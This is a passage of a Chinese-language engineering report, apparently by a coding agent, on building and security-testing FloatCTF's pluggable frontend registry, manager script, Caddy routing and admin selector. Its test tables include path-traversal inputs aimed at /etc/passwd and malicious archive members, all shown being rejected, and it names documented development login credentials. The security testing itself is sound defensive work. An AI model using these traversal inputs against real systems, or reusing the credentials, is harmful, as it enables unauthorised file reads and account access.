个公开字段;**不含**任意设置项、密钥、文件系统路径、注册表内容、资产路径。 +- 非法 `FRONTEND_ACTIVE`(未过安全 ID 校验)一律回落 `default`,绝不回显未校验值。 +- 能力标记来自 `apps/api/src/core/contract.rs` 的**白名单**(有单测断言其为小写标识符)。 +- 实现位置 `apps/api/src/modules/platform/frontend/`(`api.rs` / `domain.rs` / `dto.rs`)。 +- 后端**没有**新增 `loginPage` / `sidebar` / `eventLayout` / `routePrefix` 这类概念。 + +--- + +## 7. FRONTEND_ACTIVE + +- 属于**既有动态设置体系**(`settings` 表 + `get_setting` + Redis 缓存失效), + **不是**进程静态 TOML,**不是**环境变量。**无 schema 变更、无新迁移**。 +- seed 默认 `default`,`protected = true`(**可编辑、不可删除**)。 + seed 结构为此补了 `protected` 字段,其余键保持 `false`(零行为变化)。 +- 写入校验:create/patch 时若 key 为 `FRONTEND_ACTIVE`,值必须是安全前端 ID,否则 400。 +- 实测(隔离库): + +| 操作 | 结果 | +|---|---| +| `PATCH {value:"cyberpunk"}` | `200`,`GET /api/frontend` 立即反映 | +| `PATCH {value:"../../etc/passwd"}` | `400 FRONTEND_ACTIVE 必须是安全前端 ID…` | +| `DELETE {id_list:[FRONTEND_ACTIVE]}` | `400 protected setting can not be deleted` | +| `PATCH {value:"default"}` | `200`,回落验证通过 | + +--- + +## 8. Frontend Registry + +生产文件系统布局(`FLOATCTF_HOME` 默认 `/var/lib/floatctf`): + +``` +$FLOATCTF_HOME/ +├── frontend.sh # 前端管理器(root:root 0755,随 release 发布) +├── web/ # bootstrap 引导页(Caddy root /srv/web) +│ ├── index.html +│ └── assets/bootstrap-.js +└── frontends/ # Caddy 只读挂载 → /srv/frontends + ├── registry.json # 0644,原子写入,no-store + ├── .registry.lock # 写入锁(file_server hide) + ├── default/ # 平台内置、受保护 + │ ├── 1.0.0/ # 旧版本保留 → 可回滚 + │ │ ├── frontend.json + │ │ └── assets/{frontend.js,frontend.css,.js} + │ └── 1.0.1/ + └── workspace/ # 第三方(本次外部仓库验证) + ├── 0.1.0/ + └── 0.2.0/ +``` + +注册表要点: + +- `schemaVersion` 版本化;每个 ID 一份 `versions` + **显式** `currentVersion` 指针; + `protected` 标记(`default`)。 +- **原子更新**:`flock` 串行化 + 同目录 tmp + `fsync` + `rename`。 +- **多 ID 多版本共存**;**拒绝覆盖**同 ID 同版本(资产不可变);同版本同内容 = 幂等跳过。 +- 升级 = 装新版本 + 移指针;回滚 = 移指针回旧版本(实机验证见 §17)。 +- `default` 由平台发布并受保护;只有 `install.sh` 的内部 `--platform` 可覆盖它。 +- 生成的 `registry.json` 被 `@floatctf/frontend-runtime` 的**权威解析器**验证通过 + (每次浏览器加载都会重验;失败即回退并给出真实原因)。 + +--- + +## 9. Frontend Manager + +`scripts/frontend.sh`(同时安装到 `$FLOATCTF_HOME/frontend.sh`,生产无需源码签出): + +```bash +frontend.sh help +frontend.sh list # 列出前端与版本(* = 当前版本) +frontend.sh info [version] +frontend.sh verify # 只校验,不安装 +frontend.sh install <本地目录|Git URL|制品.tar.gz> [--ref][--node-image][--no-build][--make-current][--dry-run] +frontend.sh install <预构建目录> --platform --reinstall --make-current # 平台重部署(内部) +frontend.sh remove [version] # default 不可移除 +frontend.sh set-current # 回滚/固定当前版本 +``` + +实测(真实脚本文本 + 真实制品): + +| 场景 | 结果 | +|---|---| +| `install` 发布制品 tar.gz(`--platform --make-current`) | 安装到 `default/1.0.0`,注册表生成 | +| `install` 预构建目录(release 解包后的 `frontends/default//`) | 正常安装 | +| 幂等重部署(同版本同内容) | "跳过资产复制(幂等重装)",只更新注册表 | +| 同版本不同内容(无 `--reinstall`) | **拒绝**,提示"发布新版本号 / `--platform --reinstall`" | +| `--platform --reinstall` | 警告 + 同目录 rename **原子替换**(无 `.staging-*` 残留) | +| 第三方 `--reinstall` | **拒绝**("第三方前端资产不可覆盖") | +| `list` / `info` | 版本、指针、protected、entry/styles、契约、installedAt 全部真实 | +| `set-current` 旧版本 | 指针移动成功(回滚路径) | +| `remove` 第三方 | 删资产 + 删注册表条目(指针显式回退并打印) | +| `remove default` | **拒绝**(保护) | +| 恶意归档:`../evil.js` | **拒绝**(含 `..` 的归档成员) | +| 恶意归档:`/tmp/evil.js` | **拒绝**(绝对路径成员) | +| 恶意归档:符号链接 → `/etc/passwd` | **拒绝**(符号链接/硬链接) | +| manifest `id` = `../../evil` | **拒绝**(安全 ID) | +| manifest `entry` = `../escape.js` | **拒绝**(相对路径规则) | +| 契约不兼容(runtime 9) | **拒绝**(契约不兼容) | +| `entry` 声明但不存在 | **拒绝**(制品必须自包含) | + +**源码构建隔离**(`install <源码目录|Git URL>`):隔离 Docker 构建容器, +`--cap-drop ALL`、`--security-opt no-new-privileges`、`--pids-limit`、 +以**调用者身份**运行(而非 root)、只读源码挂载 + 临时产物挂载、无 Docker socket、 +不共享宿主 PID/网络命名空间;只复制源码(排除 `node_modules`/`dist`/`.git`); +按 lockfile 识别 pnpm/npm/yarn 并把包管理器装进可写前缀;**只执行约定的 `build` 脚本** +(脚本名,不是 JSON 里的 shell 命令)。 +实测:外部仓库(`pnpm` + `packageManager: pnpm@11.20.0`)→ 容器构建 → 制品校验 → 安装成功, +耗时约 16s。 + +--- + +## 10. External Repository Contract + +外部仓库只需: + +``` +my-floatctf-frontend/ +├── package.json # 依赖 @floatctf/sdk (+ 可选 @floatctf/react/@floatctf/frontend-runtime) +├── floatctf.frontend.json # 源码 manifest(标识 + 兼容性 + build 期望) +├── vite.config.ts # 自己的构建(产出 dist/frontend.json) +├── index.html # 仅 dev server +└── src/mount.ts # 导出 mount(context);框架自由 +``` + +- **不得** import `apps/web/*`、`frontends/default/*`、`@/routes` 等仓库私有路径 + (`scripts/check-architecture.sh` 的规则 4/6 会拦截)。 +- **可以**依赖已发布的包;本地未发布时用 `pnpm pack` 的 tarball,**不要用 `workspace:*`**。 +- 跨源开发用**既有 TOML** `[cors].allowed_origins`(不新增环境变量配置)。 +- 源码 manifest 的 `build` 段**不会被执行主机命令**:只有受约束的脚本名 + 输出目录, + 且只在隔离容器内执行。 + +--- + +## 11. Artifact Format + +- 构建产物目录必须自包含:`frontend.json` + 它声明的 `entry` / `styles`;不含源码、 + `node_modules`、pnpm 或 FloatCTF 仓库任何东西(前端的 JS 自带框架依赖;v1 **不**要求 + 共享 React 单例/模块联邦)。 +- 发布归档推荐 `*.tar.gz`;`web-dist.tar.gz` 布局固定为: + +``` +bootstrap/{index.html,assets/…} +frontends/default//{frontend.json,assets/…} +``` + +- `scripts/package-web-dist.sh`:确定性归档(固定 mtime/属主/排序),只含构建产物。 +- `scripts/verify-release-frontend.sh`:断言 bootstrap 存在、manifest 通过**真实校验器**、 + entry/styles 真实存在、无源码/依赖残留、归档成员无穿越/绝对路径/特殊类型、 + 三个脚本语法有效。实测 `OK`。 + +--- + +## 12. Caddy Integration + +生产内嵌模板(`scripts/install.sh` 的 `write_caddy_template`)新增: + +```caddyfile +@frontend_registry path /__floatctf/frontends/registry.json +handle @frontend_registry { + root * /srv/frontends + header Cache-Control "no-store" + header Content-Type "application/json" + rewrite * /registry.json + file_server +} + +handle_path /__floatctf/frontends/* { + root * /srv/frontends + header Cache-Control "public, max-age=31536000, immutable" + header X-Content-Type-Options nosniff + file_server { hide .registry.lock .staging-* } +} +``` + +Compose 里 Caddy 新增只读挂载 `${FLOATCTF_HOME}/frontends:/srv/frontends:ro`; +开发 Caddy 把 `/__floatctf/frontends/*` 显式指向 Default Frontend 的 Vite +(按真实 schema 提供只含 `default` 的开发注册表)。 + +实测(用 `install.sh` 内嵌模板提取出的**真实 Caddyfile** 起 Caddy,只把 API 上游改成宿主): + +| 请求 | 结果 | +|---|---| +| `GET /` | `200 text/html`(bootstrap,含 `bootstrap-*.js`) | +| `GET /api/frontend` | `200`,字段正确 | +| `GET /__floatctf/frontends/registry.json` | `200` + `Cache-Control: no-store` | +| `GET /__floatctf/frontends/default/1.0.1/assets/frontend.js` | `200` + `cache-control: public, max-age=31536000, immutable` + `text/javascript` | +| `GET .../assets/frontend.css` | `200` + immutable(1.2 MB) | +| 深路由 `/service/events/awd//scoreboard`、`/admin/settings`、`/workspace/xyz` | 全部 `200 text/html`(SPA 回退到 bootstrap) | +| `/__floatctf/frontends/../../etc/passwd`、`registry.json/../../Caddyfile` | `200 text/html`(返回**引导页**,未泄露文件;实测 body 无 `root:x:`) | +| `/__floatctf/frontends/.registry.lock`、`/default/.staging-*/frontend.json` | `404`(隐藏) | +| 嵌套 chunk(entry 的相对 import) | `200 text/javascript` | + +--- + +## 13. Install / Upgrade / Uninstall Integration + +**首次安装**(`scripts/install.sh`): + +1. 下载 **5 个** release 产物(新增 `frontend.sh`,`--frontend-manager-url` / + `FLOATCTF_FRONTEND_MANAGER_URL` 与既有覆盖约定一致); +2. 安装 `frontend.sh` 到 `$FLOATCTF_HOME/frontend.sh`(root:root 0755,`bash -n` 校验); +3. `bootstrap/` 铺到 `$FLOATCTF_HOME/web`; +4. release 内 `frontends///` 经 `frontend.sh install … --platform --reinstall` + 安装(`default` 移动 current 指针); +5. 校验注册表已生成并设权限; +6. python3 列入宿主前置依赖(前端管理器的 JSON 依赖;Arch 包列表已加)。 + +**重部署/升级**:更新 bootstrap;更新/安装新的 Default Frontend 版本; +**保留**第三方前端、其版本与其注册表指针;**不动** `FRONTEND_ACTIVE`;更新前端管理器。 +实测:用安装器里**真实函数文本**跑首次安装 / 幂等重部署 / 「加入第三方前端后升级」 +三种场景,第三方条目与版本列表前后完全一致。 + +**卸载语义**: + +- SAFE UNINSTALL:移除 systemd/容器/API image/**bootstrap web**,但**保留** + `$FCTF_ROOT/frontends`(含注册表,第三方前端与版本一并保留)与 `frontend.sh` + —— 重新部署可恢复同一套前端集合;用户可见提示已更新列出这两项。 +- PURGE:删除安装根(含 `frontends/` 与 `frontend.sh`);提示里明确写出"已删除全部已安装 + 前端与注册表以及前端管理器"。 + +--- + +## 14. Admin Frontend Selector + +管理端 → 设置 页面顶部新增「前端(Frontend)」区块(`components/admin/FrontendSelector.tsx`): + +- 从 `/__floatctf/frontends/registry.json` 读**已安装**前端,并用 + `@floatctf/frontend-runtime` 的 `parseRegistry` 解析 —— 与 bootstrap 用**同一个**校验器, + "页面能选"与"浏览器能加载"不会分叉; +- 读既有动态设置 `FRONTEND_ACTIVE`,保存走既有 `PATCH /api/admin/settings/{id}`(SuperAdmin); +- 展示 id / 名称 / 版本 / 安装时间 / 入口 / 契约兼容性 / "平台内置"标记; + **契约不兼容的候选在下拉里禁用并说明原因**; +- 保存成功后刷新 `["Settings"]` 缓存、显示 Primer `MsgBanner`(success)并启用"刷新页面"; +- 注册表读不到/不合法、设置接口失败 → **真实错误文案**,不造假数据; +- 文案明确写出破窗路径 `?frontend=default`; +- **不提供**任何安装能力(无 Git URL 输入、无构建、无上传、无"让后端去 clone"); +- 无原生 `alert(`/`confirm(`(沿用 `useMsgBanner` / Primer 组件)。 + +实测(真实浏览器 + 真实数据):选择 `workspace` → 保存 → 出现成功横幅 +「已切换到前端「workspace」…请刷新页面使其生效」→ `GET /api/frontend` 立即变为 +`active_frontend=workspace` → 点击"刷新页面" → 第三方前端接管界面。反向同样成功。 + +截图(本次验证实拍): +- 管理端设置 + 前端选择器:`/tmp/fcft-ui-e2e/shot-admin-settings.png` +- 第三方前端(workspace,完全不同的界面):`/tmp/fcft-ui-e2e/shot-external-frontend.png` + +--- + +## 15. Break-glass Recovery + +- 任意页面加 `?frontend=default`: + - 只影响**当前这次页面加载**; + - **不修改**后端 `FRONTEND_ACTIVE`(实测:破窗后 `GET /api/frontend` 仍为 `workspace`); + - **不需要认证**; + - 值必须命中本地注册表的已安装 ID(未安装/不安全值被忽略并记入诊断)。 +- 实测完整恢复链:`FRONTEND_ACTIVE=workspace` → `?frontend=default` 打开官方 UI → + 管理端(SuperAdmin 已登录)→ 设置 → 前端选择器 → 选 `default` → 保存并切换 → + `GET /api/frontend` 回到 `default` → 正常加载官方前端。 +- 连 Default 都失败时:内置兜底页(纯 DOM,无框架),显示平台版本 / 契约版本 / + `FRONTEND_ACTIVE` / 破窗参数 / 已尝试的前端 / **真实失败原因**,并给"重试"按钮。 + 本次验证**真的触发过**它(`default: process is not defined`,见 §5),行为符合预期。 + +--- + +## 16. Security Review + +逐项对照(实现细节见 [ARCHITECTURE.md §8](../docs/frontend/ARCHITECTURE.md)): + +| 项目 | 结论 | +|---|---| +| 制品解包路径穿越 / 绝对路径 | ✅ 解包**前**逐条校验 tar 成员;实测 `../evil.js`、`/tmp/evil.js` 均被拒 | +| tar 符号链接/硬链接逃逸 | ✅ 拒绝 `l`/`h` 及特殊类型;实测 symlink→`/etc/passwd` 被拒 | +| 恶意前端 ID | ✅ `[a-z0-9][a-z0-9._-]*`(≤64),后端 + CLI + 运行时三处校验 | +| 覆盖 / 删除 Default 前端 | ✅ `protected`;CLI 拒绝 `install`/`remove`;仅 install.sh `--platform` | +| 注册表原子性 | ✅ `flock` + tmp + `fsync` + `rename`;只读方永远看到完整文件 | +| 构建容器宿主挂载 | ✅ 只读源码 + 临时产物;调用者身份;无额外 capabilities | +| Docker socket 暴露 | ✅ 构建容器不挂载任何 socket | +| 宿主 root 命令执行 | ✅ 只跑 ` run <约定脚本名>`;不从 JSON 取任意命令 | +| 远端 JS 运行时 import | ✅ 只 import 注册表推导出的同源路径;破窗值走白名单 | +| Caddy 资产穿越 | ✅ `handle_path` + 根限定;`..` 规范化后落入 SPA 回退(返回引导页,无文件泄露) | +| 内部文件外泄 | ✅ `file_server hide` 隐藏 `.registry.lock` / `.staging-*`(实测 404) | +| 设置更新鉴权 | ✅ 沿用 `PATCH /api/admin/settings/{id}`(SuperAdmin 守卫) | +| 公开 bootstrap 泄露 | ✅ 只回 5 个公开字段;非法设置值回落 `default`,不回显 | +| 第三方前端信任说明 | ✅ 三份文档 + 信任模型小节明确写出"= 安装可信应用代码,不是沙箱" | +| 浏览器端安装副作用 | ✅ Admin UI 无安装/克隆/构建入口;安装只属运维 CLI | +| 无原生弹窗 | ✅ `grep -rn 'alert(\|confirm(' frontends/default/src` = 0 | + +补充:前端资产安装后 `chmod -R a-w`(运行期不可写,删除时先恢复可写); +`getUserToken`/`getAdminToken`/`onUnauthorized` 全为注入回调(SDK 不导航、不写存储); +`FloatCTFError` 不含任何凭据内容(`toJSON` 只导出状态/码/文案)。 + +--- + +## 17. External Repo Validation + +**位置**:`/tmp/fcft-external-frontend`(**仓库之外**;未 push 到任何远端,也未在仓库内留副本)。 + +**独立性证据**: + +``` +$ grep -rnE "apps/web|frontends/default|@/routes|@/components|@floatctf/sdk/src|\.\./\.\./\.\./floatctf" src/ vite.config.ts index.html +无任何主仓库路径引用 ✓ + +$ python3 -c "import json;d=json.load(open('package.json'));print(d['dependencies'])" +{'@floatctf/frontend-runtime': 'file:./packages/floatctf-frontend-runtime-1.0.0.tgz', + '@floatctf/sdk': 'file:./packages/floatctf-sdk-1.0.0.tgz'} +``` + +- 依赖 = `pnpm pack` 出来的**本地 tarball**(`workspace:` 协议已被替换为真实版本 `1.0.0`); + 未使用 `workspace:*`。 +- 无 React、无 `@floatctf/react`、无 Primer、无 Tailwind(**纯 TypeScript + DOM**)—— + 同时证明 `@floatctf/react` 可选、运行时契约与框架无关。 +- 结构**刻意与官方前端不同**:自己的路由空间 `/workspace` 与 `/workspace/`、 + 自己的登录 UX(内联表单)、自己的会话存储(`sessionStorage`,官方是 localStorage)、 + 自己的手写深色样式。 + +**装的包只含 dist**:三个 tarball 均无 `src/`、无 `node_modules`,含 README, +`workspace:` 已替换。 + +**端到端链路(全部实测通过)**: + +``` +临时外部仓库 + │ frontend.sh install(源码目录) + ▼ +隔离容器构建(cap-drop ALL / no-new-privileges / 非 root / 只读源码 / 无 socket) + │ 产物:dist/{frontend.json,assets/app.js,assets/app.css} + ▼ +制品校验(manifest 契约 / 安全 ID / 相对路径 / entry+styles 存在) + ▼ +版本化安装(frontends/workspace/0.1.0 → 后来 0.2.0) + ▼ +注册表原子更新(权威解析器验证通过) + ▼ +FRONTEND_ACTIVE=workspace(**通过真实 Admin UI**) + ▼ +浏览器加载第三方前端:自有登录 UX → 登录成功 → 赛事列表(真实数据)→ +AWD 状态只读读取(`awdPlayerApi.status`)返回真实 JSON → 深路由 `/workspace/` 整页刷新正常 + ▼ +恢复 FRONTEND_ACTIVE=default(**通过真实 Admin UI**)→ 官方前端恢复 +``` + +**过程中发现并修掉的真实缺陷**(外部前端自身):路由器未处理"不属于自己的路径" +(服务端 SPA 回退把 `/admin/settings` 交给它 → 被当作 eventId → `GET /api/events/admin` 400)。 +修复为"非自有路径空间 → 归正到自己的首页",升级为 0.2.0 后复验通过 +(同时实测了第三方前端的**升级路径**:0.1.0 与 0.2.0 共存、指针前移)。 + +**未留下临时凭据**:外部仓库只用本地测试账号(`1000000/testuser`、 +`sysadmin/FloatCTF@2025`,均为仓库既有文档化开发凭据),未写入任何文件。 + +--- + +## 18. Default Frontend Regression Validation + +环境:生产形态(`install.sh` 内嵌 Caddyfile 提取的真实配置 + 真实 Caddy 容器 + +真实 API + 隔离数据库 + 真实事件/题目/队伍数据),真实浏览器(bsk/Edge)实测。 + +| 流程 | 结果 | +|---|---| +| 公开落地页 / 登录页 | ✅ `Sign in to FloatCTF`、学号占位、注册/忘记密码链接齐全 | +| 用户登录 | ✅ `1000000/testuser` 登录成功,进入 Top 页,导航完整 | +| 用户登出 | ✅ 回到登录页 | +| 管理端登录 | ✅ `sysadmin` → 管理端仪表盘(4 Users / 4 Events / 4 Challenges) | +| 赛事列表 | ✅ 真实表格 + 分页 + FilterBar | +| 赛事详情(Jeopardy) | ✅ 标题、Repository 导航、倒计时(`Ends in 5h 59m …`) | +| Jeopardy 挑战页 | ✅ 题目卡片 + 分值/解出数/已解出排序 + 分类筛选 | +| 题目详情 | ✅ 对话框:Current Score 300.00 / Solved ❌ / 内容 / Start 按钮 | +| 计分榜 | ✅ 真实列(排名/名称/Score/已解出/各题列) | +| 当前 AWD 选手页 | ✅ 事件导航(Overview/GameBoxes/Scoreboard/WireGuard/SSH)+ 真实积分表(蓝队) | +| AWD 实时行为 | ✅ `GET /api/events//awd/stream` → **200**(fetch-SSE + Bearer 头) | +| AWD 实时重连 | ✅ 停 API:页面不崩、轮询回退(502 重试);恢复 API 后**自动重连**新 `awd/stream` **200** | +| 管理端赛事页 | ✅ AWD 管理页:标题+#id、Configuring、进度条、完整事件导航 | +| AWD 管理操作 | ✅ 生命周期控件真实存在(部署/预检/轮换内部令牌/分数调整/排行榜)——**只读未点击** | +| 设置页 | ✅ 侧栏 + 设置表(含新 `FRONTEND_ACTIVE` 行)+ 前端选择器 | +| 深路由刷新 | ✅ `/service/events/jeopardy//scoreboard`、`/admin/settings` 等整页刷新后由 bootstrap → 默认前端接管 | +| 浏览器控制台 | ✅ 无应用级错误(仅浏览器扩展自身的 `chrome-extension://invalid` 噪声) | +| SSE 重连语义(单元) | ✅ 15 个 `connectSse` 用例 + 3 个 hook 用例(迁移后逐字保留) | + +**不造假**:以上全部来自真实接口与真实数据;本次为验证在**隔离库**中创建了 +1 个解题赛(挂 4 道现有题并发布)、1 个攻防赛(仅配置,**未** deploy/start) + +- 1 支队伍,并把选手加入两者(`FRONTEND_ACTIVE` 前后均恢复为 `default`)。 + +--- + +## 19. CI / Release Changes + +**迁移后的门禁对齐**(迁移会"移动文件",因此必须同步所有**引用前端源码路径**的门禁): + +| 门禁 | 处理 | +|---|---| +| `apps/api/tests/awdp_practice_judge.rs`(源码边界测试) | 前端页面路径 → `frontends/default/src/routes/admin/events/awdp.$id/judge.tsx`;`awdp.ts` → `packages/sdk/src/api/awdp.ts`(测试更严格:同时覆盖前端页面与 SDK 模块) | +| `scripts/gen_web_types.py` | `OUTPUT_DIR` → `packages/sdk/src/entity`(实体属 SDK,前端从 `@floatctf/sdk/entity` 引用);注释/报错文案同步;并让生成器输出**显式 `.js` 扩展名**(SDK 以 ESM 发布,tsc 不改写相对导入,缺少扩展名时 `@floatctf/sdk/entity` 在 Node ESM 下无法解析) | +| biome | 三个新包各加 `biome.json`(tab + double quote,与仓库既有风格一致;仅保留 `recommended` 规则,不放松),并修掉迁移代码里 14 处 lint 诊断(unused template literal / useImportType / 与 axios 对齐的 `any` 显式豁免) | +| `scripts/check-architecture.sh` | 新增(7 条边界规则 + 契约版本一致性) | + +**顺带修掉一处既有漂移**:按任务要求"经官方任务重新生成并确认无意外漂移"地跑 +`mise run db:gen:ts` 后,生成器报出 `awd_reset_records` 少一个字段 +(`requested_by_admin`)。核对确认这是**迁移前就存在**的漂移:列存在 +(migration `20260914120000-awd-reset-requester-admin.sql`)、Rust 实体有该字段、 +但 `main` 上的 `apps/web/src/entity/awd_reset_records.ts` 缺它(当时没有重跑生成器)。 +本次按铁律 #4(Schema / 生成实体 / 代码三处一致)把它修正,并且现在 +`mise run db:gen:ts` 的输出与提交内容**字节一致**(幂等)。 + +**`.github/workflows/ci.yml`(`fast-web`)**:安装依赖 → `pnpm run build:packages` +→ `scripts/check-architecture.sh`(架构边界 + 契约版本一致性)→ 五个包 biome lint +→ `pnpm run test:web`(**300** 个测试)→ `pnpm run build:web`(bootstrap + Default Frontend) +→ `package-web-dist.sh` + `verify-release-frontend.sh`(发布形态验证)。 +Rust/安全 grep/集成测试作业**未削弱**。 + +**`.github/workflows/release.yml`**:前端构建改为「先构建 packages 再构建 web」; +发布 **5** 个产物(新增 `frontend.sh`);`web-dist.tar.gz` 由 +`scripts/package-web-dist.sh` 按新布局组装;新增 +"Verify frontend release artifacts" 步骤(`verify-release-frontend.sh`); +API/helper 产物语义不变。 + +--- + +## 20. Files Moved / Deleted + +**移动(275 renames,`git mv` 保留历史)** + +| 从 | 到 | +|---|---| +| `apps/web/src/{components,routes,navigation,stores,integrations}`(含 `routeTree.gen.ts` 生成物不进 git) | `frontends/default/src/…` | +| `apps/web/src/{config.ts,logo.svg,style.css,util.ts,reportWebVitals.ts}` | `frontends/default/src/…` | +| `apps/web/src/entity/**`(61 文件) | `packages/sdk/src/entity/**` | +| `apps/web/src/lib/sse/**`(5 文件,含测试) | `packages/sdk/src/sse/**` | +| `apps/web/src/api/{admin,service}/**`、`awd.ts`、`awdp.ts`、`awdpRuns.ts`(57 文件) | `packages/sdk/src/api/**` | +| `apps/web/src/types/challengeDto.ts` | `packages/sdk/src/types/challengeDto.ts` | +| `apps/web/src/hooks/{awdInvalidation,useAwdEventStream,useAdminAwdEventStream,useAwdpEventStream,useAwdpRunStream}.ts` + 测试 | `packages/react/src/**` | +| `apps/web/src/api/queries/**`(4 文件 + 测试) | `packages/react/src/queries/**` + 测试 | +| `apps/web/src/api/index.ts` | `frontends/default/src/api/index.ts`(改为 SDK 门面 + 本前端接线) | +| `apps/web/.cta.json`(脚手架标记,描述的是前端而非引导页) | `frontends/default/.cta.json` | + +**删除(10)** + +``` +apps/web/src/api/axios.ts → packages/sdk/src/transport.ts +apps/web/src/api/__tests__/axiosInterceptors.test.ts → packages/sdk/src/__tests__/transport.test.ts(按新契约重写) +apps/web/src/main.tsx → frontends/default/src/{router.tsx,entry.tsx} +apps/web/src/api/admin/index.ts → packages/sdk/src/api/index.ts(聚合移入 SDK) +apps/web/src/api/service/index.ts → packages/sdk/src/api/index.ts +apps/web/src/api/queries/index.ts → packages/react/src/queries/index.ts +apps/web/src/api/queries/__tests__/query-keys.test.ts → packages/react/src/__tests__/query-keys.test.ts +apps/web/src/entity/index.ts → packages/sdk/src/entity/index.ts(重生成) +apps/web/src/lib/sse/index.ts → packages/sdk/src/sse/index.ts(重生成) +``` + +**新增**:`packages/{sdk,react,frontend-runtime}`、`frontends/default`、 +`apps/web/src/main.ts`、`apps/api/src/{core/contract.rs,modules/platform/frontend/*}`、 +`scripts/{frontend.sh,package-web-dist.sh,verify-release-frontend.sh,check-architecture.sh}`、 +`docs/frontend/{ARCHITECTURE,DEVELOPING,ARTIFACT}.md`。 +**没有任何永久兼容别名**(旧 `@/api/axios`、`apps/web/src/*` 的转发层一律不存在)。 + +--- + +## 21. Commits + +### Phase 12(可插拔前端平台初版,已推送到 `origin/ui`) + +| # | commit | 内容 | +|---|---|---| +| 1 | `240567a` | `refactor(frontend)`: 抽出 `@floatctf/{sdk,react,frontend-runtime}`,当前 UI 迁入 `frontends/default`;`apps/web` 变 bootstrap;新增架构门禁与契约常量 | +| 2 | `b0b52b1` | `feat(api)`: 未认证 `GET /api/frontend` + `FRONTEND_ACTIVE` 动态设置(protected、写入校验) | +| 3 | `afd82df` | `feat(deploy)`: `scripts/frontend.sh` + 注册表 + Caddy/install.sh/clean.sh/CI/release 全面接入 | +| 4 | `97249a9` | `feat(admin)`: 设置页「已安装前端」选择器(只选择,不安装) | +| 5 | `ee1ca31` | `fix(frontend)`: 产物 `process` 依赖修复 + 迁移后门禁对齐 | +| 6 | `552ae2f` | `fix(deploy)`: 隔离容器构建加固(调用者身份 / cap-drop ALL / npm 前缀装包管理器 / Node 基线对齐) | +| 7 | `bfd5677` | `docs(frontend)`: 三份前端文档 + README/INSTALL/AGENTS/agents 同步 + 本报告(本次 closure 已重写其内容与元数据) | + +远端 `origin/ui` 的 head 停在 `70069e1d6765c8310680e2972d145c631c362b92` +(该提交在上表第 7 项之后又 amend 过一次文档内容,推送出去的是 `70069e1`)。 + +### Phase 12.1(closure,**只在本地**) + +见下面的「Phase 12.1 Closure」小节:SDK 实例隔离、React SSE base URL、公开注册表数据边界、 +制品树安全、非 root 构建、源码 manifest 契约、校验器同源、契约版本分离、版本不可变、 +显式指针语义、外部仓库再验证、安全负向测试。 + +--- + +## Phase 12.1 Closure + +Phase 12 把前端平台搭起来了,但闭包审计发现 5 个 P0 与 5 个 P1 级问题(外加报告元数据过期)。 +下面是逐项结论与证据。**全部为本地提交,未 push。** + +### SDK instance isolation + +**问题(P0-A)**:`@floatctf/sdk` 用模块级 `binding = { service, admin }` + +`bindHttpClients()` 实现传输,因此 `createFloatCTFClient()` 创建的多个实例会互相覆盖: +后创建的客户端会把先前客户端的请求劫持到自己的 base URL / token。作为公开 SDK 不可接受。 + +**修复**: + +- 35 个领域模块全部改成工厂 `createXxxApi(http: FloatCTFHttpClient)`,只依赖注入的 handle; +- `transport.ts` 去掉模块级 binding,改为 `createFloatCTFTransport(scope, options, baseUrl)` + 返回独立的 axios 实例 + handle; +- `client.ts` 用自己的两个 handle 组装 `service` / `admin` / `awd` / `awdp` / `sse`; +- 公共面移除 `service_api` / `admin_api` / `bindHttpClients` / `resetHttpClientsForTests` / + `httpClients`;`dispose()` 一并删除(不再拥有全局资源,保留只会是误导性的生命周期 API); +- `requestConfig` 在**类型上**排除 `baseURL`(`Omit<..., "baseURL">`),运行时也把权威 + base URL 放在 `requestConfig` **之后**,保证 `client.baseUrl` 与实际请求地址永远一致; +- Default Frontend 的 `@/api` 门面改为从本前端那一个实例取所有域对象,页面只改 import 来源。 + +**证据**:`packages/sdk/src/__tests__/client.test.ts`(8 个用例:A/B 两种创建顺序、 +B 存在后再用 A、并行请求、user/admin 分离、AWD 门面归属、SSE URL 归属、 +"没有任何全局重置 helper")+ `transport.test.ts`(requestConfig.baseURL 权威性)。 +实测:SDK 测试 51 → **62**。 + +### React SSE base URL + +**问题(P0-B)**:四个 SSE hook 硬编码 `/api/...`(管理端写死 `/api/admin/...`), +而 `createFloatCTFReact({ client })` 已经拿到了客户端。外部 React 前端用非默认 base URL +(例如 `http://127.0.0.1:17780/api`)时,REST 走配置地址、**实时通道却打前端自己的源**。 + +**修复**:四个 hook 改为 `client.sse.connect()` / `client.sse.connectAdmin()`, +只传**相对路径**,由客户端自己的 `baseUrl` / `adminBaseUrl` 解析;管理端仍用 admin token。 + +**证据**:`packages/react/src/__tests__/sse-base-url.test.tsx` **不 mock connectSse**, +只 mock 全局 `fetch`,断言真实请求的绝对 URL 与 `Authorization` 头: + +| hook | 断言到的 URL | +|---|---| +| `useAwdEventStream` | `http://127.0.0.1:17780/api/events//awd/stream` | +| `useAdminAwdEventStream` | `http://127.0.0.1:17780/api/admin/events//awd/stream`(admin token) | +| `useAwdpEventStream` | `http://127.0.0.1:17780/api/events//awdp/stream` | +| `useAwdpRunStream` | `http://127.0.0.1:17780/api/service/awdp/runs//stream` | + +外加"另一个源(`https://ctf.example/api`)也不会退化成 `/api`"的用例。 +原有断线回退/重连语义用例全部保留并通过。React 测试 10 → **15**。 + +### Public registry data boundary + +**问题(P0-C)**:`registry.json` 由 Caddy **无鉴权**公开提供,但它持久化了 +`source: "path:/home/alice/private-frontend"` 或 `git:https://user:token@host/repo.git` +这类安装来源(可能含凭据)。公开静态树里不能有任何私密元数据。 + +**修复**: + +- 注册表**只写白名单字段**(root: `schemaVersion`/`updatedAt`/`frontends`; + frontend: `id`/`currentVersion`/`protected`/`versions`; + version: `version`/`name`/`description`/`author`/`compatibility`/`entry`/`styles`/`installedAt`; + compatibility: `frontendRuntime`/`apiContract`/`sdk`); +- 删掉 `source_label_for()` 与所有 `source` 参数;每次写盘都跑 `sanitize_registry` + (历史遗留的 `source` 会在下一次 install/remove/set-current 时被清除); +- 写入后立即 `check-public` 自检,出现非公开字段即失败; +- **运行时** `parseRegistry()` 改为 fail-closed:root / frontend / version / compatibility + 逐层白名单,出现 `source`、`token`、`localPath`、`cloneUrl` 等未知字段**直接校验失败**; +- 打印来源时对 URL userinfo 打码(`redact_source`)。 + +**证据**:`scripts/test-frontend-manager.sh` 断言 **raw 文件**(不是解析后)不含 +`"source"`、本地/临时路径、Git clone URL;并模拟"历史遗留 source"验证重写后被清除。 +`packages/frontend-runtime` 新增 6 个用例:未知 root/frontend/version/compatibility 字段、 +`token`/`localPath`/`cloneUrl`/`credentials` 全部被拒(66 → **72**)。 